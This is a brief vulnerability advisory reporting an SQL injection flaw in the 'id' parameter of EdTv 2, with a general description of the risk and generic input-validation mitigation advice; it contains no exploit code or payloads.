EdTv 2 – ‘id’ SQL Injection

EdTv 2 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
